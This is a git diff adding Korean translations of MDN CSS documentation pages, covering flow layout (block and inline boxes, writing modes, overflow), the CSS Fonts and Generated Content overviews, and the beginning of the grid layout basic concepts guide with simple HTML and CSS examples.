블락과 인라인 상자의 동작 방식에 대해 자세한 내용은 시각적 서식 모델 안내서를 찾아보십시요.

+ +

display속성 및 대열 조판

+ +

씨에스에스 2.1에 존재하는 규칙 외에도 새로운 수준의 씨에스에스는 블록 및 인라인 상자의 동작을 추가로 기술한다. display 속성은 상자와 상자 속 상자의 동작 방법을 정의한다. 씨에스에스 디스플레이 모델 수준 3 내용을 보면 디스플레이 속성이 상자의 동작과 생성된 상자에 변화를 주는 방법에 대해 더 자세히 알 수 있다.

+ +

요소의 디스플레이 유형은 외부 디스플레이 유형을 정의하며, 이 외부 디스플레이 유형은 상자가 동일 서식 상황에 속한 다른 요소와 어떻게 병행 표시되는지를 지정한다. 또한, (씨에스에스 디스플레이 모델 수준 3을 보면) 이 요소 내부에 속한 상자가 작동하는 방식을 지정하는 내부 디스플레이 유형도 정의한다. 이런 내용은 가변(flex) 조판를 고려할 때 명확하게 확인할 수 있다. 아래 예제에서 나에게 display: flex를 적용한 div 요소 하나가 있다. 가변 컨테이너는 블록 요소처럼 동작한다. 새 줄에 표시되고 인라인 진행 방향에서 차지할 수 있는 모든 공간을을 차지한다. 이것은 block의 외부 디스플레이 유형이다.

+ +

그러나 가변 항목("Flex Item" 문자열 2개)은 가변 서식 상황에 참여하고 있다. 왜냐면 부모(class container)가 display: flex가 지정된 요소이고, 따라서 (상속에 의해) 내부 디스플레이 유형이 가변이므로 직계 자식의 경우 가변 서식 상황이 수립된다.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/flex.html", '100%', 500)}}

+ +

따라서 씨에스에스에 포함된 모든 상자가 이런 식으로 작동한다고 간주할 수 있다. 상자 자체는 외부 디스플레이 유형도 갖고있기 때문에 다른 상자와 병행 동작하는 방법을 알고 있다. 그리고 상자는 내부 디스플레이 유형도 갖고있어 자식의 동작 방식도 변경한다. 이어 해당 자식은 외부 및 내부 디스플레이 유형도 갖게된다. 앞 예제에서 가변 항목("Flex Item" 문자열 2개)은 가변 수준 상자가 되며, 따라서 그것의 외부 디스플레이 유형은 그것들이 가변 서식 상황의 일부가 되는 방식에 의해 결정된다. 그들 항목은 대열 디스플레이 유형을 갖게 되는데, 그 의미는 자식이 일반 대열에 참여한다는 것을 의미한다. 당해 가변 항목 내부에 중첩된 항목('children' 'are in' 'normal flow')은 디스플레이 유형이 바뀌지 않는한 블록 및 인라인 요소로 배치된다.

+ +

외부 및 내부 디스플레이 유형이란 개념은 Flexbox(display: flex)와 Grid Layout(display: grid)과 같은 조판 메서드를 사용하는 컨테이너가 해당 메서드의 외부 디스플레이 유형이 block인 관계로 블록 및 인라인 조판에 계속해서 참여하고 있다는 것을 알려준다는 점에서 중요하다.

+ +

하나의 요소가 참여하는 대상의 서식 상황 변경

+ +

브라우저는 해당 요소의 통상적 타당성 여하에 따라 항목을 블록 또는 인라인 서식 맥락의 일부로 표시한다. 예들들면 단어를 강조를 강조하기 위해 스트롱 요소를 사용하며, 브라우저에 굵게 표시됩니다. 스트롱 요소가 블록 수준 요소로 표시되어 새 줄로 밀려나는 것은 일반적으로 타당하지 않다. 당신이 모든 스트롱 요소를 블록 요소로 표시하기를 원하면 당신은 strong 요소에 display: block를 설정함으로써 그렇게 할 수 있다. 즉, 항상 가장 의미론적으로 타당한 HTML 요소를 사용하여 콘텐츠를 표시한 다음 씨에스에스를 사용하여 표시되는 방식을 변경할 수 있다.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/change-formatting.html", '100%', 500)}}

+ +

요약정리

+ +

이번 안내서에서 우리는 블록 요소나 인라인 요소일 경우처럼 일반 대열속에서 요소가 어떻게 표시되는지 살펴보았다. 이러한 요소에 정해진 기본 동작이 있는 관계로 씨에스에스 스타일 지정이 전혀 없는 에이치티엠엘 문서가 읽기 가능한 방식으로 표시된다. 일반 대열의 작동 방식을 이해하면 조판이 더 쉬워지는 데 그 이유는 요소가 표시되는 방식을 변경하는 출발점을 이해하는 것이기 때문이다.

+ +

참조 항목

+ + diff --git "a/files/ko/web/css/css_flow_layout/\355\235\220\353\246\204_\353\240\210\354\235\264\354\225\204\354\233\203\352\263\274_\354\223\260\352\270\260_\353\252\250\353\223\234/index.html" "b/files/ko/web/css/css_flow_layout/\355\235\220\353\246\204_\353\240\210\354\235\264\354\225\204\354\233\203\352\263\274_\354\223\260\352\270\260_\353\252\250\353\223\234/index.html" new file mode 100644 index 0000000000..4d35855ee5 --- /dev/null +++ "b/files/ko/web/css/css_flow_layout/\355\235\220\353\246\204_\353\240\210\354\235\264\354\225\204\354\233\203\352\263\274_\354\223\260\352\270\260_\353\252\250\353\223\234/index.html" @@ -0,0 +1,92 @@ +--- +title: 대열 조판과 쓰기 모드 +slug: Web/CSS/CSS_Flow_Layout/흐름_레이아웃과_쓰기_모드 +tags: + - 대열 조판 + - 쓰기모드 + - 씨에스에스 + - 안내서 + - 지향 +translation_of: Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Writing_Modes +--- +

어떻게 일반 대열이 동작하는지 자세히 설명하는 씨에스에스 2.1 규격은 가로쓰기 모드라고 가정한다. 조판 속성은 세로 쓰기 모드에서 동일한 방식으로 작동해야 한다. 이 안내서는 서로 다른 문서 작성 모드에서 사용될 때 대열 조판이 어떻게 작동하는지 살펴 봅니다.

+ +

이것은 씨에스에스(CSS)에 포함된 쓰기 모드 사용에 대한 종합적인 안내서가 아니다. 이 글의 목적은 대열 조판이 쓰기 모드와 예상치 못한 방식으로 상호 작용하는 지점을 문서화하는 것이다. 이 문서의 참조 항목외부 리소스 섹션은 쓰기 모드 관련 더 많은 링크를 제공하고 있다.

+ +

쓰기 모드 규격

+ +

씨에스에스 쓰기 모드 수준 3 규격은 문서의 쓰기 모드가 대열 조판에 미치는 영향을 정의한다. 씨에스에스 쓰기 모드 소개란에서 전하는 규격은 다음과 같다.

+ +
+

씨에스에스에 포함되는 쓰기 모드는 {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}} 속성에 의해 결정된다. 쓰기 모드는 주로 인라인 기준 방향과 블록 대열 방향 여하에 따라 정의된다."

+
+ +

쓰기 모드 규격은 내용물이 라인에 정렬되는 방향에 따라 인라인 기준 방향을 정의한다. 기준 방향이 인라인 방향의 시작과 끝을 정의한다. 인라인 방향의 시작은 문장이 시작되는 곳이고, 인라인 방향의 끝은 새 줄로 넘어가기 전에 텍스트가 끝나는 곳이 끝나는 곳이다.

+ +

블록 대열 방향은 예로 단락의 경우처럼 블록 쓰기 모드에서 상자를 쌓는 방향이다. 씨에스에스 쓰기 모드 속성은 블록 대열 방향을 제어한다. 페이지 또는 페이지의 일부를 vertical-lr로 변경하고 싶다면, 대상 요소에 writing-mode: vertical-lr를 설정할 수 있고, 이로써 블록의 방향을 변경하는 것이고 아울러 인라인 방향도 변경된다.

+ +

특정 언어일 경우 특정 쓰기 모드나 텍스트 방향을 사용하겠지만, 제목을 세로로 돌리는 등 창의적인 효과를 위해 그러한 속성을 사용할 수도 있다.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/creative-use.html", '100%', 720)}}

+ +

writing-mode 속성 및 블록 대열

+ +

{{cssxref("writing-mode")}} 속성은 horizontal-tbvertical-rl, vertical-lr를 속성값으로 받는다. 이들 속성값은 페이지 상에 블록의 대열 방향을 제어한다. 초기 값은 horizontal-tb,로써 가로 인라인 방향이 포함된 상단에서 하단으로 가는 블록 대열 방향이다. 영어와 같이 왼쪽에서 오른쪽 방향 언어과 오른쪽에서 왼쪽 방향 언어인 아랍어의 경우든 모두가 horizontal-tb이다.

+ +

다음 예는 horizontal-tb를 사용하는 블록을 보여준다.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/horizontal-tb.html", '100%', 720)}}

+ +

속성값 vertical-rl는 다음 예와 같이 세로 인라인 방향을 포함하는 오른쪽에서 왼쪽으로 가는 블록 대열 방향을 제공한다.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/vertical-rl.html", '100%', 720)}}

+ +

마지막 예는 vertical-lr로써 세번 째로 가능한 writing-mode 속성값을 시연하고 있다. 이렇게 하면 왼쪽에서 오른쪽 블록 대열 방향과 세로 인라인 방향을 얻을 수 있다.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/vertical-lr.html", '100%', 720)}}

+ +

부모와 다른 쓰기 모드를 가진 상자

+ +

중첩된 상자에 부모와 다른 쓰기 모드가 할당된 경우 인라인 수준 상자는 display: inline-block이 적용된 듯이 표시된다.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/inline-change-mode.html", '100%', 720)}}

+ +

블록 수준 박스는 새로운 블록 서식 상황을 설정하게 되는데, 내부 디스플레이 유형이 flow일 경우 계산에 따른 디스플레이 유형인 flow-root를 얻게 된다는 뜻이다. 이것은 다음 예에서 보다시피 horizontal-tb 속성에 따라 표시되는 상자가 부동 요소를 포함하고 있는데, 그것이 포함된 까닭은 부모가 새로운 블록 대열 상황을 수립했기 때문이다.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/block-change-mode.html", '100%', 720)}}

+ +

대체 요소

+ +

이미지와 같은 대체 요소는 writing-mode에 주어진 속성에 근거하여 (가로 세로) 쓰기 방향를 바꾸지 않는다. 그러나 텍스트를 포함하는 양식 컨트롤과 같은 대체 요소는 사용중인 쓰기 모드와 일치해야 한다.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/replaced.html", '100%', 720)}}

+ +

논리적 속성 및 속성값

+ +

당신이 horizontal-tb 이외의 쓰기 모드에서 작업하게 될 경우, 스크린의 물리적 크기에 매핑되는 많은 속성 및 속성값들이 이상하게 보일 것이다. 예를 들면 상자에 100px을 부여하면 쓰기 모드가 horizontal-tb일 경우에 인라인 방향의 크기(100px)를 통제하게 된다. 쓰기 모드가 vertical-lr일 상황에서 상자가 텍스트에 맞춰 회전하지 않기 때문에 블록 방향 크기를 상자가 제어한다.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/width.html", '100%', 720)}}

+ +

따라서 우리에게 {{cssxref("블록 크기")}} 및 {{cssxref("인라인 크기")}}라는 새로운 속성이 주어진다. 당해 블록에 inline-size를 100px 부여할 경우 가로쓰기 또는 세로 쓰기 모드 여부는 상관없어지며, inline-size일 경우 항상 인라인 방향의 크기를 의미하게 된다.

+ +

{{EmbedGHLiveSample("css-examples/flow/writing-modes/inline-size.html", '100%', 720)}}

+ +

씨에스에스 논리적 속성 규격은 여백, 패딩 및 테두리를 제어하는 속성의 논리적 버전뿐만 아니라 일반적으로 물리적 방향 지정을 위해 대상 요소에 전형적으로 사용되는 다른 매핑을 포함하고 있다.

+ +

요약정리

+ +

대부분의 경우, 문서의 쓰기 모드 또는 문서의 일부를 변경할 때 당신이 대상 요소에 기대하는 대로 대열 조판이 작동한다. 쓰기 모드는 세로 쓰기 언어를 올바르게 조판하거나 ​​독창적 표현을 이유로 사용할 수 있다. 씨에스에스는 세로 쓰기 모드에서 작업할 때 크기의 척도를 요소의 인라인과 블록 크기에 기초할 수 있도록 논리적 속성과 속성값을 도입하는 방식으로 간편한 설정을 가능케 해준다. 이런 내용은 다른 쓰기 모드에서 작동할 수 있는 구성 요소를 만들 경우에 유용할 것이다.

+ +

참조 항목

+ + + +

외부 리소스

+ + + +
{{QuickLinksWithSubpages("/ko/docs/Web/CSS/CSS_Flow_Layout/")}}
diff --git "a/files/ko/web/css/css_flow_layout/\355\235\220\353\246\204_\353\240\210\354\235\264\354\225\204\354\233\203\352\263\274_\354\230\244\353\262\204\355\224\214\353\241\234/index.html" "b/files/ko/web/css/css_flow_layout/\355\235\220\353\246\204_\353\240\210\354\235\264\354\225\204\354\233\203\352\263\274_\354\230\244\353\262\204\355\224\214\353\241\234/index.html" new file mode 100644 index 0000000000..697bdfacde --- /dev/null +++ "b/files/ko/web/css/css_flow_layout/\355\235\220\353\246\204_\353\240\210\354\235\264\354\225\204\354\233\203\352\263\274_\354\230\244\353\262\204\355\224\214\353\241\234/index.html" @@ -0,0 +1,73 @@ +--- +title: 대열 조판과 대열이탈 +slug: Web/CSS/CSS_Flow_Layout/흐름_레이아웃과_오버플로 +tags: + - 가시성 + - 대열 조판 + - 대열이탈 + - 씨에스에스 + - 안내서 + - 조판 + - 중급 + - 텍스트 대열이탈 +translation_of: Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Overflow +--- +

컨테이너에 채울 수 없을 만큼 더 많은 내용물이 있을 때 오버플로 상황이 발생한다. CSS에서 크기 제한이 있는 요소를 다루려면 오버플로의 동작 방식을 이해하는 것이 중요하다. 이 안내서는 일반 플로우에 해당하는 작업 중에 오버플로이 작동하는 방식을 설명한다.

+ +

오버플로은 무엇인가?

+ +

어떤 요소에 고정 높이 및 너비를 부여한 다음, 상자에 상당한 내용물을 추가하면 기본적인 오버플로 사례가 만들어 진다.

+ +

{{EmbedGHLiveSample("css-examples/flow/overflow/overflow.html", '100%', 700)}}

+ +

내용물이 상자 안으로 들어간다. 상자가 채워지면, 눈에 보이게 오버플로이 계속되면서 상자 밖으로 내용물이 표시되고, 후속 내용물 아래에 표시될 가능성까지 있다. 오버플로 동작 방식을 통제하는 속성은 오버플로 속성으로 초기값은 visible로 되어 있다. 그런 까닭에 오버플로한 내용물를 볼 수 있다.

+ +

오버플로 통제

+ +

오버플로된 내용물이 동작하는 방식을 통제하는 그 밖의 값들이 있다. 오버플로된 내용물을 감추려면 hidden 값을 사용한다. 이 값은 내용물을 보이지 않게 만들 수도 있다.

+ +

{{EmbedGHLiveSample("css-examples/flow/overflow/hidden.html", '100%', 700)}}

+ +

scroll 값을 사용해서 상자의 내용물을 상자 안에 가둬두고 내용물을 볼 수 있게 스크롤 막대를 추가할 수 있다. 스크롤 막대는 내용물이 상자에 들어맞더라도 추가될 것이다.

+ +

{{EmbedGHLiveSample("css-examples/flow/overflow/scroll.html", '100%', 700)}}

+ +

auto 값을 사용하면 상자안에 내용물이 들어맞을 경우 스크롤 막대 없이 내용물을 표시하게 된다. 만일 내용물이 들어맞지 않는다면 스크롤 막대가 추가되게 된다. 다음 예를 overflow: scroll 경우의 예와 비교하면 수직 스크롤 막대가 필요할 경우에도 overflow scroll의 예는 수평 및 수직 스크롤 막대가 있음을 알수 있다. 아래 auto 예제에서는 우리가 스크롤이 필요한 방향으로만 스크롤 막대를 추가한다.

+ +

{{EmbedGHLiveSample("css-examples/flow/overflow/auto.html", '100%', 700)}}

+ +

이미 배운 바와 같이 기본값인 visible 이외에 살펴본 값 중의 어떤 값을 사용하게 되면 새로운 블록 서식 상황을 생성하게 된다.

+ +

참고: 작업 초안 오버플로 수준 3을 보면 추가적인 속성 값으로 overflow: clip이 있다. 이것은 overflow: hidden와 같이 작용하지만, 프로그래밍 방식의 스크롤이 불용되어 스크롤 할 수 상자가 된다. 또한, 이것은 블록 서식 상황을 생성하지 못한다.

+ +

오버플로 속성은 실제로는 overflow-xoverflow-y 속성의 약칭이다. 오버플로 값을 하나만 지정하면 이 값은 가로 세로 양 축에 모두 사용된다. 그러나 두 가지 값 모두를 지정할 수 있다. 첫번 째 경우에는 overflow-x를 수평 방향 값으로 두번째 경우에는 overflow-y를 수직 방향 값으로 사용하면 된다. 아래 예에서 나는 overflow-y: scroll만 지정함으로써 원치 않는 가로 스크롤 막대가 나타나지 않도록 했다.

+ +

{{EmbedGHLiveSample("css-examples/flow/overflow/overflow-y.html", '100%', 700)}}

+ +

상대적 플로우 속성

+ +

우리는 쓰기 모드와 플로우 레이아웃 안내서에서 block-sizeinline-size라는 새로운 속성를 살펴보았는데, 이 속성은 물리적인 화면 크기에 레이아웃을 구속하기보다는 다양한 쓰기 모드에서 작업할 경우에 적합하다. 수준 3 오버플로 모듈에는 플로우에 상대적인 오버플로 속성들overflow-blockoverflow-inline도 포함되어 있다. 그것들은 overflow-xoverflow-y에 대응하지만, 매핑은 문서의 쓰기 모드 여하에 달려 있다.

+ +

이들 속성은 현재 브라우저에 구현이 되어 있지 않으므로, 현 시점에는 물리적인 속성을 사용하고 쓰기 모드에 맞게 조정해야 한다.

+ +

오버플로 표시

+ +

수준 3 오버플로 규격에서 우리는 콘텐츠가 오버플로 상황에서 내용물이 보여지는 방식을 개선하도록 도움을 줄 수 있는 몇 가지 속성을 보유하고 있다.

+ +

인라인축 오버플로

+ +

text-overflow 속성은 인라인 방향의 텍스트 오버플로을 처리한다. 이 속성에는 두 가지 값 중에서 택일한다. clip의 경우는 오버플로하면 내용물이 잘려나간다. 이것이 초기값이므로 기본 동작이다. 또한, ellipsis의 경우는 줄임표를 렌더링하는 것인데, 사용 중인 언어와 쓰기 모드에 따라서는 더 나은 문자로 대체될 수도 있다.

+ +

{{EmbedGHLiveSample("css-examples/flow/overflow/text-overflow.html", '100%', 500)}}

+ +

블록축 오버플로

+ +

이 글의 작성 시점에 명칭을 두고 아직 논의의 여지가 있지만, block-overflow란 속성도 있다. 이 제안으로 텍스트가 블록 크기를 오버플로할 때 줄임표를 추가할 수 있게 된다.

+ +

이것은 예를 들어 문서 목록이 있고 제한된 양의 텍스트만 취하는 고정 높이 상자에 목록을 표시하는 경우에 유용하다. 상자나 제목을 클릭할 때 클릭할 내용이 더 많다는 것을 독자들이 인지하지 못할 수도 있다. 줄임표는 더 많은 내용이 있다는 사실을 분명하게 보여준다. 이 규격은 일련의 내용 또는 규칙적인 줄임표를 삽입할 수 있게 한다.

+ +

요약정리

+ +

웹 상의 연속적인 미디어에 있는지 또는 인쇄 또는 EPUB와 같은 페이징 미디어 형식에 있는지 여부는 어떤 레이아웃 메서드를 처리할 때 어떻게 내용물이 오버플로하게 되는지 이해를 돕는데 유용하다. 일반 대열에서 오버플로이 어떻게 작동하는지 이해함으로써 격자나 가변상자 같은 레이아웃 방식에 포함된 오버플로 내용물의 파장을 더 쉽게 이해할 수 있어야 한다.

+ +
{{QuickLinksWithSubpages("/ko/docs/Web/CSS/CSS_Flow_Layout/")}}
diff --git a/files/ko/web/css/css_fonts/index.html b/files/ko/web/css/css_fonts/index.html new file mode 100644 index 0000000000..eef480caa7 --- /dev/null +++ b/files/ko/web/css/css_fonts/index.html @@ -0,0 +1,102 @@ +--- +title: CSS Fonts +slug: Web/CSS/CSS_Fonts +tags: + - CSS + - CSS Fonts + - Overview + - Reference +translation_of: Web/CSS/CSS_Fonts +--- +
{{CSSRef}}
+ +

CSS Fonts는 글꼴 관련 속성 및 글꼴 자원이 로드되는 법을 정의하는 CSS 모듈입니다. 이는 글꼴의 스타일을 정의할 수 있습니다, 글꼴 패밀리, 크기 또는 굵기 및 한 문자에 여러 자체(glyph)가 있는 글꼴에 사용되는 이형(variant) 자체와 같은 줄높이도 정의할 수 있습니다.

+ +

참고

+ +

속성

+ +
+
    +
  • {{cssxref("font")}}
  • +
  • {{cssxref("font-family")}}
  • +
  • {{cssxref("font-feature-settings")}}
  • +
  • {{cssxref("font-kerning")}}
  • +
  • {{cssxref("font-language-override")}}
  • +
  • {{cssxref("font-size")}}
  • +
  • {{cssxref("font-size-adjust")}}
  • +
  • {{cssxref("font-stretch")}}
  • +
  • {{cssxref("font-style")}}
  • +
  • {{cssxref("font-synthesis")}}
  • +
  • {{cssxref("font-variant")}}
  • +
  • {{cssxref("font-variant-alternates")}}
  • +
  • {{cssxref("font-variant-caps")}}
  • +
  • {{cssxref("font-variant-east-asian")}}
  • +
  • {{cssxref("font-variant-ligatures")}}
  • +
  • {{cssxref("font-variant-numeric")}}
  • +
  • {{cssxref("font-variant-position")}}
  • +
  • {{cssxref("font-weight")}}
  • +
  • {{cssxref("line-height")}}
  • +
+
+ +

@규칙

+ +
+
{{cssxref("@font-face")}}
+
+
+
    +
  • {{cssxref("@font-face/font-family", "font-family")}}
  • +
  • {{cssxref("@font-face/font-feature-settings", "font-feature-settings")}}
  • +
  • {{cssxref("@font-face/font-style", "font-style")}}
  • +
  • {{cssxref("@font-face/font-variant", "font-variant")}}
  • +
  • {{cssxref("@font-face/font-weight", "font-weight")}}
  • +
  • {{cssxref("@font-face/font-stretch", "font-stretch")}}
  • +
  • {{cssxref("@font-face/src", "src")}}
  • +
  • {{cssxref("@font-face/unicode-range", "unicode-range")}}
  • +
+
+
+
{{cssxref("@font-feature-values")}}
+
+ +

안내서

+ +
+
Fundamental text and font styling
+
In this beginner's learning article we go through all the basic fundamentals of text/font styling in detail, including setting font weight, family and style, font shorthand, text alignment and other effects, and line and letter spacing.
+
OpenType font features guide
+
Font features or variants refer to different glyphs or character styles contained within an OpenType font. These include things like ligatures (special glyphs that combine characters like 'fi' or 'ffl'), kerning (adjustments to the spacing between specific letterform pairings), fractions, numeral styles, and a number of others. These are all referred to as OpenType Features, and are made available to use on the web via specific properties and a low-level control property — {{cssxref("font-feature-settings")}}. This article provides you with all you need to know about using OpenType font features in CSS.
+
Variable fonts guide
+
Variable fonts are an evolution of the OpenType font specification that enables many different variations of a typeface to be incorporated into a single file, rather than having a separate font file for every width, weight, or style. This article will give you all you need to know to get you started using variable fonts.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Fonts')}}{{Spec2('CSS3 Fonts')}} 
{{SpecName('CSS2.1', 'fonts.html#font-shorthand', '')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1', '#font', '')}}{{Spec2('CSS1')}}초기 정의
diff --git a/files/ko/web/css/css_generated_content/index.html b/files/ko/web/css/css_generated_content/index.html new file mode 100644 index 0000000000..6d1acc3c8e --- /dev/null +++ b/files/ko/web/css/css_generated_content/index.html @@ -0,0 +1,43 @@ +--- +title: CSS Generated Content +slug: Web/CSS/CSS_Generated_Content +tags: + - CSS + - CSS Generated Content + - Overview + - Reference +translation_of: Web/CSS/CSS_Generated_Content +--- +
{{CSSRef}}
+ +

CSS Generated Content는 요소에 콘텐츠를 추가하는 법을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("content")}}
  • +
  • {{cssxref("quotes")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS2.1')}}{{Spec2('CSS2.1')}}초기 정의
diff --git a/files/ko/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html b/files/ko/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html new file mode 100644 index 0000000000..ce1ce28415 --- /dev/null +++ b/files/ko/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html @@ -0,0 +1,765 @@ +--- +title: Basic concepts of grid layout +slug: Web/CSS/CSS_Grid_Layout/Basic_concepts_of_grid_layout +tags: + - CSS + - CSS 그리드 + - 가이드 + - 레이아웃 +--- +

CSS 그리드 레이아웃(Grid Layout)은 CSS에 2차원의 그리드 시스템을 도입했습니다. 그리드는 주요 페이지 영역을 설계하거나 작은 사용자 인터페이스 요소를 배치하는 데 사용할 수 있습니다. 이 문서에서는 CSS 그리드 레이아웃 및 CSS 그리드 레이아웃 레벨 1 명세서에 포함된 새로운 기술 용어를 소개합니다. 이번 개요에 소개된 기능은 나머지 안내 문서에서 자세히 설명합니다.

+ +

그리드가 무엇인가요?

+ +

그리드는 수평선과 수직선이 교차해서 이루어진 집합체입니다 - 하나의 집합체는 세로 열을 그리고 다른 하나는 가로 행을 정의합니다. 각 요소는 이러한 열과 행으로 된 라인을 따라 생성된 그리드에 배치할 수 있습니다. CSS 그리드 레이아웃에는 다음과 같은 기능이 있습니다:

+ +

고정되거나 혹은 유연한 트랙 크기

+ +

예를 들면, 픽셀 단위를 써서 트랙 크기가 고정된 그리드를 만들 수 있습니다. 이렇게 하면, 원하시는 레이아웃에 꼭 맞도록 픽셀 크기를 지정해서 그리드를 설정하실 수 있습니다. 또한, 퍼센트 혹은 이런 목적에 적합하도록 설계된 새로운 fr 단위의 가변 크기를 지정해서, 좀 더 유연한 성질의 그리드를 만들 수도 있습니다.

+ +

아이템 배치

+ +

아이템은 라인 번호, 이름 또는 그리드 영역을 지정해서 그리드의 정확한 위치에 배치할 수 있습니다. 그리드는 또 명확하게 위치가 지정되지 않은 아이템을 알아서 적절히 배치하는 알고리즘도 가지고 있습니다.

+ +

콘텐츠를 담기 위한 추가 트랙의 생성

+ +

그리드 레이아웃으로 그리드를 명시적으로 정의할 수 있지만, 지정된 그리드 밖에 따로 추가되는 콘텐츠에 대응하여 필요에 따라 행과 열을 추가할 수 있도록 표준 문서에서 기술하고 있습니다. 일 예로 “컨테이너에 들어갈 수 있는 만큼의 세로 열”을 추가하는 기능이 포함되었습니다.

+ +

정렬 제어

+ +

그리드에는 정렬 기능이 있어서 그리드 영역에 아이템을 배치한 후 어떻게 정렬할지, 그리고 전체 그리드가 정렬되는 방식을 제어할 수 있습니다.

+ +

겹치는 콘텐츠 제어

+ +

그리드 셀에 하나 이상의 아이템을 배치하거나 그리드 영역을 부분적으로 서로 겹치게 할 수 있습니다. 이렇게 생긴 중첩의 우선순위는 나중에 {{cssxref("z-index")}} 프로퍼티로 제어할 수 있습니다.

+ +

그리드는 아주 강력한 기능을 담은 표준이라서 플랙스박스(flexbox)와 같은 CSS의 다른 부분과 결합하면, 이전에는 CSS에서 불가능했던 레이아웃을 만들 수 있도록 도와줍니다. 이 모든 것은 그리드 컨테이너에서 그리드를 생성하는 것부터 시작합니다.

+ +

그리드 컨테이너

+ +

그리드 컨테이너는 요소에 display: grid 또는 display: inline-grid를 선언하여 만듭니다. 이렇게 하면 해당 요소 바로 밑에 있는 모든 자식 요소그리드 아이템이 됩니다.

+ +

다음 예제에는 클래스로 wrapper라는 이름을 가진 div이 있고, 안에는 다섯 개의 자식 요소가 있습니다.

+ +
<div class="wrapper">
+  <div>One</div>
+  <div>Two</div>
+  <div>Three</div>
+  <div>Four</div>
+  <div>Five</div>
+</div>
+
+ +

이제 .wrapper 요소를 그리드 컨테이너로 지정합니다.

+ +
.wrapper {
+  display: grid;
+}
+
+ + + +

{{ EmbedLiveSample('그리드_컨테이너', '200', '330') }}

+ +

바로 밑에 있는 모든 자식 요소는 이제 그리드 아이템이 됩니다. 이렇게 하면 웹 브라우저에서 보이는 모습이 그리드로 전환하기 전과 별 차이가 없는데, 이는 그리드가 우선 아이템을 단일 열 형태의 구조를 가진 그리드를 생성하였기 때문입니다. 이 시점에서 Firefox Developer Edition에서 작업하는 것이 유용하실 텐데, 여기엔 개발자 도구의 일부로 Grid Inspector 기능을 제공합니다. Firefox에서 이 예제의 그리드를 검사해보면, grid 값 바로 옆에 작은 아이콘이 보이실 겁니다. 이 아이콘을 클릭하면 해당 요소의 그리드가 브라우저 창 위에 중첩되어 표시됩니다.

+ +

그리드를 살펴보기 위해 개발자 도구에 있는 그리드 하이라이터를 사용하는 모습

+ +

CSS 그리드 레이아웃을 배우면서 작업하실 때 이 도구를 사용하면 그리드에서 발생하는 상황을 시각적으로 더 잘 파악하실 수 있습니다.

+ +

이제 이것을 전형적인 그리드 형태의 모양으로 만들어 주려면 세로 방향의 트랙을 더 추가하면 됩니다.

+ +

그리드 트랙

+ +

그리드의 행과 열은 {{cssxref("grid-template-columns")}} 및 {{cssxref("grid-template-rows")}} 프로퍼티로 정의합니다. 이렇게 하면, 그리드 트랙도 함께 정의됩니다. 그리드 트랙은 그리드에 그려진 두 라인 사이의 공간을 나타냅니다. 아래 그림에서는 그리드의 첫 번째 가로 행에 놓여있는 트랙이 돋보이게 표시된 것을 확인하실 수 있습니다.

+ +

+ +

앞의 예제에서 grid-template-columns 프로퍼티를 추가하고 세로 열에 놓이게 될 트랙의 크기를 정의해 줍니다.

+ +

이제 200픽셀의 너비를 가진 세로 열 방향의 트랙 세 개를 생성합니다. 자식 아이템들은 이제 그리드에 있는 각자의 그리드 셀 위에 배치됩니다.

+ +
+
<div class="wrapper">
+  <div>One</div>
+  <div>Two</div>
+  <div>Three</div>
+  <div>Four</div>
+  <div>Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 200px 200px 200px;
+}
+
+ + + +

{{ EmbedLiveSample('grid_first', '610', '140') }}

+
+ +

fr 단위

+ +

트랙은 모든 종류의 길이 단위를 써서 정의할 수 있습니다. 또한, 그리드에는 유연한 크기의 그리드 트랙을 생성하는 데 사용할 수 있는 단위를 추가로 소개하고 있습니다. 새로 소개된 fr 단위는 그리드 컨테이너에 남아 있는 사용 가능한 공간의 일정 비율을 나타냅니다. 다음에 정의된 그리드에서는 남아 있는 공간에 따라 확장 및 축소되는 같은 너비의 트랙 3개를 생성합니다.

+ +
+
<div class="wrapper">
+  <div>One</div>
+  <div>Two</div>
+  <div>Three</div>
+  <div>Four</div>
+  <div>Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+
+ + + +

{{ EmbedLiveSample('fr_unit_ls', '220', '140') }}

+
+ +

다음 예제에서는 2fr 크기의 트랙 하나와 1fr 트랙 두 개를 지정하였습니다. 사용 가능한 공간은 4개로 나뉘면서, 공간 두 개는 첫 번째 트랙에 제공하고 나머지 공간 한 부분씩을 다음 두 트랙에 각각 제공합니다.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 2fr 1fr 1fr;
+}
+
+ +

이번 마지막 예에서는 고정된 크기의 트랙과 비율 단위로 지정한 트랙이 섞여 있습니다. 첫 번째 트랙은 500픽셀의 공간을 차지하므로 이 고정 너비는 사용 가능한 공간에서 제외됩니다. 나머지 공간은 3개의 부분으로 나뉘며 2개의 유연한 트랙에 비율에 맞게 할당됩니다.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 500px 1fr 2fr;
+}
+
+ +

repeat() 표기법으로 트랙 나열

+ +

